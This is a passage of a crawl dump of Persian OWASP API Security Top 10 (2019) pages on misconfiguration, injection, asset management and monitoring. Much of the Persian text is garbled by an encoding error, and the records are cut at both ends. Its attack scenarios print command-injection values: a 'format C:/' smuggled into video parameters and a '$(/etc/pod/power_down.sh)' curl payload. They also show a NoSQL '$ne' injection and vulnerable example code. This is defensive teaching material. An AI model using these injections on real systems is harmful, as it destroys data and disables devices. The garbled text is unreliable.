از یک دستوع Shell برای تبدیل ویدئو بهره می‌برد.\n\nهمچنین مهاجم متوجه می‌شود که `POST /api/v1/videos/new` ŘŻŘą بعابع تخصیص جمعی ‌‌‌آسیب‌پذیر بوده و به کلاینت اجازه می‌دهد که هریک از ویژگی‌‌‌های شیءویدئو عا با به ؾوعت دلخواه تنظیم نماید. ŘŻŘą نتیجه مهاجم مقدار مخربی عا به ؾوعت `\"mp4_conversion_params\":\"-v codec h264 && format C:/\"` ŘŻŘą قست ویژگی ویدئو واعد می‌کند که ŘŻŘą نتیجه آن با دانلود ویدئو با فرمت MP4 توسء مهاجم حمله تزریق دستوع Shell ا؏عا خواهد Ř´ŘŻ.\n\n## چگونه از ‌‌‌آسیب‌پذیری تخصیص جمعی پیشگیری کنیم؟\n\n- ŘŻŘą ؾوعت امکان، از بکارگیری توابعی که ورودی کلاینت عا بؾوعت ؎ودڊاع تبدیل به متغیرهای ÚŠŘŻ یا اشیای داخلی اپلیکیشن می کنند خودداری شود.\n- تنها ویژگی‌‌‌های ضروری که باید توسء کلاینت بروزرسانی شوند ŘŻŘą لیست سفید قرار گیرد.\n- از قابلیت‌‌‌های تعبیه شده ŘŻŘą اپلیکیشن‌‌‌ها برای قراردادن ویژگی‌‌‌هایی که تغییر آنها برای کلاینت غیرمجاز است ŘŻŘą لیست سیاه استفاده شود.\n- ŘŻŘą ؾوعت امکان، الگوهای وا؜ح و بدون ابهام برای داده ورودی تعریف و اعمال شود.\n\n## مراجع\n\n### خارجی\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 6660, "slov": 721, "odkazu": 69, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:53", "sha256": "29a4f736f512a674755c930faa47d7176b9dc06eeda95b80f8b91ff4bd4e26be", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xa7-security-misconfiguration/", "titulek": "API7:2019 پیکربندی امنیتی نادرست - OWASP API Security Top 10", "h1": "API7:2019 پیکربندی امنیتی نادرست", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xa7-security-misconfiguration/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 پیکربندی امنیتی نادرست"}, {"uroven": 2, "text": "آیا API از نظر پیکربندی امنیتی نادرست ‌‌‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 3, "text": "سناریو #3"}, {"uroven": 2, "text": "چگونه از ‌‌‌آسیب‌پذیری پیکربندی امنیتی نادرست پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API7:2019 پیکربندی امنیتی نادرست\n\n| عوامل تهدید / مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**3** | میزان شیوع**3** : قابلیت تشخیص**3** | پیامد فنی**2** : ؎اؾ ڊسب و ڊاع |\n| مهاجمین غالبا ŘŻŘą تلاش برای یافتن حفره‌های وصله نشده، توابؚ رایج یا فایل‌ها و مسیرهای محافظت نشده به منظور دسترسی غیرمجاز به سیستم هستند. | پیکربندی امنیتی نادرست می‌تواند ŘŻŘą هر سطحی از API، از سءح شبکه تا سءح اپلیکشن روی دهد. ابزارهای خودکاری و؏ود دارند که فرایند تشخیص و بهره برداری از پیکربندی‌های نادرست نظیر تشخیص سرویس‌های غیرضروری عا انجام می‌دهند. | پیکربندی امنیتی نادرست نه تنها می‌تواند اطلاعات حساس ڊاعبع عا افشا کند بلکه جزئیاتی از سیستم که ممکن است به از دست رفتن کامل سعوع منجر شود عا نیز ŘŻŘą معرض ؎ءع قرار می‌دهد. |\n\n## آیا API از نظر پیکربندی امنیتی نادرست ‌‌‌آسیب‌پذیر است؟\n\nاز منظر پیکربندی امنیتی نادرست api آسیب پذیر است اگع:\n\n- ایمن سازی امنیتی مناسب ŘŻŘą هر قسمت از پشته اپلیکیشن رعایت نشده یا اپلیکیشن مجوزهای با پیکربندی نادرست روی سرویس‌‌‌‌های ابری داشته باشد.\n- جدیدترین وصله‌‌‌‌های امنیتی نصب نشده و سیستم‌‌‌‌ها کاملا بعوز نباشند.\n- ویژگی غیرضروری (نظیر افعال اضافی HTTP) فعال باشند.\n- امنیت لایه انتقال (TLS) غیرفعال باشد.\n- دستوعات و الزامات امنیتی (نظیر [سرایندهای امنیتی](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project) ) به سوی کلاینت ارسال نشوند.\n- ؎ء مشی اشتعاڊ متقابل منابع (CORS ) و؏ود نداشته یا به درستی ‌پیاده‌سازی نشده باشد.\n- پیام‌‌‌‌های ؎ءا ردپای پشته یا اطلاعات حساس دیگر عا افشا نمایند.\n\n## مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nمهاجم فایل `.bash_history` عا (که دستوعات مورد استفاده تیم DevOps برای دسترسی به API عا ŘŻŘą ؎ود داعد) ŘŻŘą مسیر root سعوع می‌یابد:\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nهمچنین مهاجم خواهد توانست توابعی از API که تنها توسء تیم DevOps مورد استفاده قرارگرفته و مستند نشده‌اند عا نیز بیابد.\n\n### سناریو #2\n\nبرای هدف قراردادن یک سرویس مشخص، مهاجم از موتورهای جستجوی رایج برای یافتن کامپیوترهایی که مستقیما توسء اینترنت قابل دسترسی هستند بهره می‌برد. ŘŻŘą نتیجه، مهاجم میزبانی عا می‌یابد که از یک سیستم مدیریت پایگاه داده محبوب استفاده نموده و اقدام به شنود روی ٞوعت پیشفرض آن dbms می‌کند. از آنجا که میزبان از پیکربندی پیشفرض (که احعاز هویت عا بءوع پیشفرض غیرفعال نموده) استفاده کرده، مهاجم می‌تواند به میلیون‌‌‌‌ها عڊوعد حاوی PII، داده‌‌‌‌های احرازهویت و ... دست یابد.\n\n### سناریو #3\n\nمهاجم با بررسی ترافیک یک اپلیکیشن موبایل متوجه می‌شود که تمامی ترافیک HTTP بع بستع یک پروتکل ایمن (نظیر TLS) منتقل نمی‌شود و این موضوع ؎ؾوؾا ŘŻŘą زمان دانلود تصاویر پروفایل صدق می‌کند. از آنجا که تعامل ڊاعبع با اپلیکیشن دودویی است، علیرغم انتقال ترافیک API بع بستع پروتکلی ایمن، مهاجم خواهد توانست الگویی عا ŘŻŘą اندازه ٞاس؎ API شناسایی نموده و از آن برای رهگیری ترجیحات ڊاعبع ŘŻŘą ؎ؾوؾ محتوای ارائه شده به اپلیکیشن (مثلا تصاویر پروفایل) بهره ببعد.\n\n## چگونه از ‌‌‌آسیب‌پذیری پیکربندی امنیتی نادرست پیشگیری کنیم؟\n\nچرخه حیات API بایستی شامل موارد زیر باشد:\n\n- فرایندی تڊعاع شونده برای ایمن سازی API که منجر به ‌پیاده‌سازی سریع و آسان یک محیط ایمن شود.\n- فرایندی برای بازبینی و بروزرسانی پیکربندی‌‌‌‌ها ŘŻŘą سعاسع پشته API؛ این بازبینی بایستی موارد از جمله بازبینی هماهنگی بین فایل‌‌‌‌ها، مولفه‌‌‌‌های API و سرویس‌‌‌‌های ابری (نظیر مجوزهای باکت‌‌‌‌های S3) عا دربرگیرد.\n- برقراری یک کانال ارتباطی ایمن برای دسترسی تمامی تعاملات API به دارایی‌‌‌‌های ایستا (نظیر تصاویر).\n- ؎ودڊاع جهت ارزیابی پیوسته و مداوم اثربخشی پیکربندی و تنظیمات اعمال شده ŘŻŘą سعاسع محیط API و اپلیکیشن.\n\nبعلاوه:\n\n- برای جلوگیری از ارسال رهگیری رویدادهای استثنا و سایر داده‌‌‌‌های ارزشمند به مهاجم، ŘŻŘą ؾوعت امکان برای تمامی پاسخ‌‌‌‌های API (از جمله خطاها) الگوهای محموله مشخص تعریف و اعمال گعدد.\n- حصول اطمینان از اینکه API فقط به افعال HTTP مدنظر توسعه دهنده ٞاس؎ می دهد و غیرفعال کردن سایر افعال (نظیر `HEAD` ).\n- APIهایی که انتظار می‌رود دسترسی به آنها از طریق کلاینت‌‌‌‌های مبتنی بع مرورگر (مثلا فرانت WebApp) باشد، بایستی ؎ء مشی CORS مناسب عا بڊاع گیرند.\n\n## مراجع\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)\n- [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)\n- [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001))\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007))\n\n### خارجی\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 7517, "slov": 825, "odkazu": 79, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:07", "sha256": "7cc8051a81238cc22684fec61e71e3c264fae21cd91be17025d7918d8585a247", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Secure_Headers_Project", "https://www.owasp.org/index.php/Testing_for_configuration_management", "https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)", "https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xa8-injections/", "titulek": "API8:2019 تزریق ورودی‌های مخرب - OWASP API Security Top 10", "h1": "API8:2019 تزریق ورودی‌های مخرب", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xa8-injections/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 تزریق ورودی‌های مخرب"}, {"uroven": 2, "text": "آیا API از نظر نقص تزریق ورودی‌های مخرب آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از آسیب‌پذیری تزریق ورودی‌های مخرب پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API8:2019 تزریق ورودی‌های مخرب\n\n| عوامل تهدید / مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**3** | میزان شیوع**2** : قابلیت تشخیص**3** | پیامد فنی**3** : ؎اؾ ڊسب و ڊاع |\n| مهاجمین تلاش می‌کنند تا هرچه مسیر‌ برای تزریق (از جمله، ورودی‌های مستقیم، متغییرها و سرویس‌های یکپارچه) و؏ود داعد عا با داده‌های مخرب ٞع کنند و انتظار دارند این اطلاعات بدست لایه مفسر بعسد. | و؏ود ‌آسیب‌پذیری تزریق ورودی‌های مخرب، امری متداول بوده و معمولا ŘŻŘą ٞعس و جو‌های SQL، LDAP یا NoSQL، دستوعات سیستم عامل، تجزیه کنندگان XML و ORM یافت می‌شود. این نقص‌ها به سادگی ŘŻŘą زمان بازبینی ÚŠŘŻ منبع قابل ڊشف می‌باشند. مهاجمین نیز برای این منظور از اسکنرها و Fuzzerها استفاده می‌کنند. | ‌آسیب‌پذیری تزریق ورودی‌های مخرب می‌تواند منجر به افشای اطلاعات و یا از دست رفتن اطلاعات شود. همچنین ممکن است این ؜ؚف منجر به اختلال ŘŻŘą سرویس‌دهی شده و یا حتی باؚ؍ از دست رفتن کامل دسترسی میزبان شود. |\n\n## آیا API از نظر نقص تزریق ورودی‌های مخرب آسیب‌پذیر است؟\n\nاز منظر نقصِ تزریق ورودی‌های مخرب API ‌آسیب‌پذیر است اگع:\n\n- اطلاعات واعد شده توسء ڊاعبع توسء API اؚتباع سنجی، فیلتر یا پاکسازی نشود.\n- اطلاعات واعد شده توسء ڊاعبع به ؾوعت مستقیم استفاده شده و یا به انواع دستوعات ٞعس و ؏و (SQL یا NoSQL یا LDAP) یا دستوعات سیستم عامل، تجزیه‌کنندگان XML، ORM یا ORM افزوده شود.\n- اطلاعات دریافت شده از سیستم‌های خارجی توسء API اؚتباع سنجی، فیلتر یا پاکسازی نشود.\n\n## مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nمیان‌افزار یک دستگاه کنترل (فرزندان) توسء والدین تابعی عا ŘŻŘą مسیر `/api/CONFIG/restore` ارائه می‌کند، که انتظار داعد مقدار appId ارسال شده به سمت آن، دارای مقادیر چند متغیره باشد. با استفاده از یک دیکامپایلر، مهاجم ŘŻŘą می‌یابد مقدار appId بدون هیچ‌گونه تغییر یا پاکسازی‌ به یک فراخوانی سیستمی ارسال می‌شود.\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\",\n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nدستوع زیر به مهاجم این امکان عا می‌دهد تا هر دستگاهی با این میان افزاع ‌آسیب‌پذیر عا خاموش کند.\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)'\n```\n\n### سناریو #2\n\nسامانه ŘŞŘ­ŘŞ وب ساده‌ای با عملکرد‌های اولیه CRUD ، برای انجام عملیات‌های عزعو و؏ود داعد. مهاجم موفق به شناسایی تزریق NoSQL از طریق متغیر `bookingId` ŘŻŘą رشته ٞعس و ؏و و ŘŻŘą دع؎واست حذف عزعو شده است. دع؎واست مذکور شبیه به `DELETE /api/bookings?bookingId=678` می‌باشد.\n\nسعوع API از تابؚ زیر برای رسیدگی کردن به درخواست‌های حذف استفاده می‌کند:\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nمانند آنچه ŘŻŘą زیر مشاهده می‌کنید، مهاجم ٞس از رهگیری دع؎واست و تغییر مقدار `bookingId` استفاده شده ŘŻŘą رشته ٞعس و جو، می‌تواند عزعو انجام شده توسء ڊاعبع دیگری عا حذف نماید.\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\n## چگونه از آسیب‌پذیری تزریق ورودی‌های مخرب پیشگیری کنیم؟\n\nجلوگیری از ‌آسیب‌پذیری تزریق ورودی‌های مخرب، نیازمند جداسازی اطلاعات از دستوعات و ٞعس و جو‌ها می‌باشد.\n\n- داده‌ها باید توسء یک کتابخانه پایدار، فعال و قابل اطمینان اؚتباع سنجی شود.\n- تمامی اطلاعات واعد شده توسء کاربران و دیگر سیستم‌های یکپارچه باید اؚتباع سنجی، فیلتر یا پاکسازی شود.\n- کاراکترهای ؎اؾ باید توسء قوانین مشخص برای مفسران نهایی تغییر داده شود.\n- همواره تؚداد رکوردهای بازگردانده شده باید محدود شود تا ŘŻŘą ؾوعت و؏ود نقص تزریق ورودی‌های مخرب، از افشای انبوه اطلاعات جلوگیری شود.\n- داده‌های ورودی باید توسء فیلترهای مناسب اؚتباع سنجی شود تا تنها مقادیر معتبر برای هر پارامتر ورودی مجاز به واعد شدن باشند.\n- برای تمامی متغییر‌های رشته‌ای، نوع داده و الگوی سخت‌گیرانه‌ای تعریف شود.\n\n## مراجع\n\n### OWASP\n\n- [OWASP Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://www.owasp.org/index.php/Command_Injection)\n\n### خارجی\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 6320, "slov": 703, "odkazu": 75, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:13", "sha256": "0e0dbafd2c7a7b0258745a144c528c4b1b2a898503006b95d2e5e6e5b9a41a79", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Injection_Flaws", "https://www.owasp.org/index.php/SQL_Injection", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://www.owasp.org/index.php/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xa9-improper-asset-management/", "titulek": "API09:2019 مدیریت نادرست دارایی‌ها - OWASP API Security Top 10", "h1": "API09:2019 مدیریت نادرست دارایی‌ها", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xa9-improper-asset-management/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API09:2019 مدیریت نادرست دارایی‌ها"}, {"uroven": 2, "text": "آیا API از نظر مدیریت نادرست دارایی‌ها ‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از آسیب‌پذیری مجوزدهی نادرست ŘŻŘą سءح اشیاء پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API09:2019 مدیریت نادرست دارایی‌ها\n\n| عوامل تهدید / مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**3** | میزان شیوع**3** : قابلیت تشخیص**2** | پیامد فنی**2** : ؎اؾ ڊسب و ڊاع |\n| نسخه‌های قدیمی API غالبا اصلاح و بروزرسانی نشده‌اند و از آنجا که از مکانیزم‌های دفاعی نوین موجود ŘŻŘą APIهای جدید بهره نمی‌برند، راهی آسان برای دسترسی به سیستم‌ها برای مهاجمین فراهم می‌سازند. | مستندات قدیمی و بروزرسانی نشده، امکان یافتن و یا عفؚ آسیب‌پذیری‌ها عا دشواع می‌سازند. همچنین نبود فهرستی از دارایی‌ها و فقدان یک استراتژی مدون برای از دوع ؎اع؏ کردن نسخه‌های قدیمی منجر به و؏ود سیستم‌های وصله یا تعمیر نشده و نهایتا نشت اطلاعات خواهد Ř´ŘŻ. امروزه با کمک مفاهیم نوینی نظیر مایکروسرویس‌ها که امکان بکارگیری اپلیکیشن‌ها بؾوعت مستقل عا تسهیل نموده‌اند (نظیر رایانش ابری، k8s یا کوبرنیتس و ...)، یافتن APIهایی که به ؾوعت غیرضروری ŘŻŘą معرض دید همگان قرار دارند تبدیل به امری رایج و آسان شده است. | مهاجم می‌تواند از طریق نسخه‌های قدیمی API که کماکان به پایگاه داده‌ی اصلی متصل هستند، به داده‌ی حساس و یا حتی سعوع دسترسی یابد. |\n\n## آیا API از نظر مدیریت نادرست دارایی‌ها ‌آسیب‌پذیر است؟\n\nŘŻŘą صورتی که یکی ازشرایط زیر و؏ود داشته باشد، API ‌آسیب‌پذیر خواهد بود:\n\n- اهدف از و؏ود API نامشخص بوده و پاسخی برای سوال‌های زیر و؏ود نداشته باشد:\n- ŘŻŘą چه محیطی API ŘŻŘą حال ا؏عا است (مثلا محیط تست، توسعه، ا؏عا یا عملیات )؟\n- چه کسانی بایستی دسترسی شبکه‌ای به API داشته باشند (همه، افعاد دخیل یا شعڊا)؟\n- چه نسخه‌ای از API ŘŻŘą حال ا؏عا است؟\n- چه داده‌ای (نظیر PII) توسء API ŘŻŘą حال جمع آوری و ٞعدازش است؟\n- جریان داده به چه ؾوعت است؟\n- مستندی برای API و؏ود ندارد یا بعوز نیست.\n- برنام‌ ای برای بازنشستگی و از دوع ؎اع؏ شدن هریک از نسخه‌های API و؏ود ندارد.\n- فهرست میزبان‌ها و؏ود ندارد یا قدیمی است.\n- فهرست سرویس‌های یکپارچه ، چه سرویس‌های متعلق به ؎ود سازمان و چه سرویس‌های شرکت‌های ثالث، و؏ود ندارد یا قدیمی است.\n- نسخه‌های قدیمی یا پیشین API بدون اصلاح و وصله شدن کماکان ŘŻŘą حال ا؏عا هستند.\n\n## مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nٞس از بازطراحی یک اپلیکیشن، یک سرویس جستجوی Local و؏ود داعد که از یک نسخه قدیمی API (`api.someservice.com/v1`) به ؾوعت محافظت نشده بهره می‌برد که ŘŻŘą عین حال این API قدیمی به پایگاه داده کاربران دسترسی داعد. مهاجم که جدیدترین نسخه اپلیکیشن عا به عنوان هدف درنظر گرفته، آدعس API (`api.someservice.com/v2`) عا می‌یابد. جایگزینی `v2` با `v1` ŘŻŘą URL سبب دسترسی مهاجم به API محافظت نشده و قدیمی می‌شود که ŘŻŘą نتیجه‌ی آن، اطلاعات شناسایی شخصی (PII) بیش از 100 میلیون ڊاعبع افشا گردیده است.\n\n### سناریو #2\n\nیک شبکه اجتماعی از مکانیزم محدودسازی نرخ ارسال دع؎واست برای جلوگیری از انجام حملات Brute Force توسء مهاجمین جهت Ř­ŘŻŘł توکن‌های تغییر گذرواژه بهره می‌برد. این مکانیزم نه به عنوان بخشی از ÚŠŘŻ API، بلکه به عنوان مولفه ای مابین کلاینت و API اصلی (ŘŻŘą `www.socialnetwork.com`) ‌پیاده‌سازی شده است. مهاجم یک نسخه بتا از میزبان API (`www.mbasic.beta.socialnetwork.com`) می‌یابد که از API یکسانی بهره می‌برد و رویه تغییر گذرواژه یکسانی داعد با این تفاوت که ŘŻŘą آن هیچ مکانیزمی جهت محدودسازی نرخ دع؎واست تعبیه نشده است؛ ŘŻŘą نتیحه مهاجم قادر خواهد بود که گذرواژه هر یک از کاربران عا طی یک عملیات Brute Force ساده با Ř­ŘŻŘł زدن یک توکن 6 رقمی تغییر دهد.\n\n## چگونه از آسیب‌پذیری مجوزدهی نادرست ŘŻŘą سءح اشیاء پیشگیری کنیم؟\n\n- فهرستی از تمامی میزبان‌های API تهیه شده و جنبه‌های مهم هرکدام با تمرکز بع محیط API (محیط تست، توسعه، ا؏عا یا عملیات)، افعاد مجاز به دسترسی شبکه‌ای به میزبان (همه، افعاد دخیل یا شعڊا) و نسخه API مستند شود.\n- فهرستی از سرویس‌های یکپارچه تهیه شده و جنبه‌های مهم این سرویس‌ها نظیر نقش آنها، داده‌ی مبادله شده (جریان داده) و میزان حساسیت آنها مستند شود.\n- تمامی جنبه‌های API نظیر نحوه احعاز هویت، خطاها، ریدایرکت‌ها، محدودسازی نرخ درخواست، ؎ء مشی‌های اشتعاڊ گذاری منابع متقابل (CORS) و نقاط پایانی یا توابؚ (Endpointها) شامل پارامترها، درخواست‌ها و پاسخ‌ها مستند شوند.\n- با بکارگیری و انطباق با استانداردهای باز، فرایند تولید مستند بءوع ؎ودڊاع انجام شده و این فرایند ŘŻŘą CI/CD Pipeline تعبیه گعدد.\n- مستندات API ŘŻŘą اختیار افرادی که مجاز به دسترسی به API هستند قرار گیرد.\n- از مکانیزم‌های محافظتی خارجی از جمله فایروال‌های امنیت API برای محافظت از تمامی نسخه‌های ŘŻŘą معرض دید API (نه فقط نسخه فعلی) استفاده گعدد.\n- از استفاده همزمان نسخه‌های عملیاتی شده و عملیاتی نشده API اجتناب شود. اگع این همزمانی اجتناب ناپذیر است، برای نسخه‌های عملیاتی نشده API نیز باید همان حفاظت‌های امنیتی نسخه‌های عملیاتی شده برقرار باشد.\n- هنگامی که ŘŻŘą نسخه‌های جدیدتر API بهبودهای امنیتی اعمال می‌شود، بایستی فرایند تحلیل ریسک نیز ؾوعت پذیرد تا بتوان تصمیمات لازم ŘŻŘą ؎ؾوؾ اقدامات جبرانی برای عفؚ مشکلات امنیتی نسخه‌های قدیمی‌تر عا ات؎اذ نمود. بعنوان نمونه، آیا می‌توان بدون تحت‌الشعاع قراردادن انطباق‌پذیری API بهبودهای امنیتی عا ŘŻŘą نسخه‌های قدیمی نیز واعد نمود یا اینکه بایستی تمامی نسخه‌های قدیمی به سعؚت از دستعس ؎اع؏ شده و تمامی کلاینت‌های مجبور به استفاده از آخرین نسخه شوند؟\n\n## مراجع\n\n### خارجی\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 8219, "slov": 993, "odkazu": 70, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:18", "sha256": "b0d55046f82379610d4f882bd487a4674f9b07655135b4cb779c1ac4f354ddf0", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fa/0xaa-insufficient-monitoring/", "titulek": "API10:2019 پایش و نظارت ناکافی - OWASP API Security Top 10", "h1": "API10:2019 پایش و نظارت ناکافی", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fa/0xaa-insufficient-monitoring/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 پایش و نظارت ناکافی"}, {"uroven": 2, "text": "آیا API از نظر پایش و نظارت ناکافی ‌آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌آسیب‌پذیری پایش و نظارت ناکافی پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API10:2019 پایش و نظارت ناکافی\n\n| عوامل تهدید / مسیر حمله | ؜ؚف امنیتی | پیامد |\n| --- | --- | --- |\n| API ؎اؾ: قابلیت بهره‌برداری**2** | میزان شیوع**3** : قابلیت تشخیص**1** | پیامد فنی**2** : ؎اؾ ڊسب و ڊاع |\n| مهاجمین می توانند از فقدان فرایند ؍بت وقایع و پایش برای سوءاستفاده پنهانی از سیستم‌ها بهره ببرند. | بدون ؍بت وقایع و پایش آنها یا با ؍بت و پایش ناکافی، رهگیری فعالیت‌های مخرب و ٞاس؎ آنها ŘŻŘą زمان مناسب تقریبا غیرممکن خواهد بود. | بدون پایش فعالیت‌های مخربی که ŘŻŘą حال انجام است، مهاجمین زمان زیادی برای نفوذ به سیستم‌ها خواهند داشت. |\n\n## آیا API از نظر پایش و نظارت ناکافی ‌آسیب‌پذیر است؟\n\nŘŻŘą صورتی که یکی ازشرایط زیر و؏ود داشته باشد، API ‌آسیب‌پذیر خواهد بود:\n\n- هیچگونه Logای توسء API تولید نشود، سءح ؍بت وقایع به درستی تنظیم نشده باشد یا پیام‌‌های Log، حاوی جزئیات کافی نباشند..\n- جامعیت Logها تضمین نشده باشد (مثلا [Log Injection](https://owasp.org/index.php/Log_Injection) ع؎ دهد).\n- به ءوع پیوسته Logها پایش نشوند.\n- زیرساخت API به ءوع پیوسته پایش نشود.\n\n## مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nکلیدهای دسترسی به یک API مدیریتی ŘŻŘą یک انباره عمومی افشا شده و ŘŻŘą اختیار همگان قرار گرفته است. مالک انباره از طریق یک ایمیل از این افشای احتمالی مطلع می‌شود اما بیش از 48 ساؚت طول می‌کشد تا اقدام مقتضی انجام شود که ŘŻŘą این حدفاصل، افشای کلید دسترسی ممکن سبب دسترسی غیرمجاز به داده حساس شده باشد. از آنجا که پایش کافی و؏ود نداشته است، سازمان 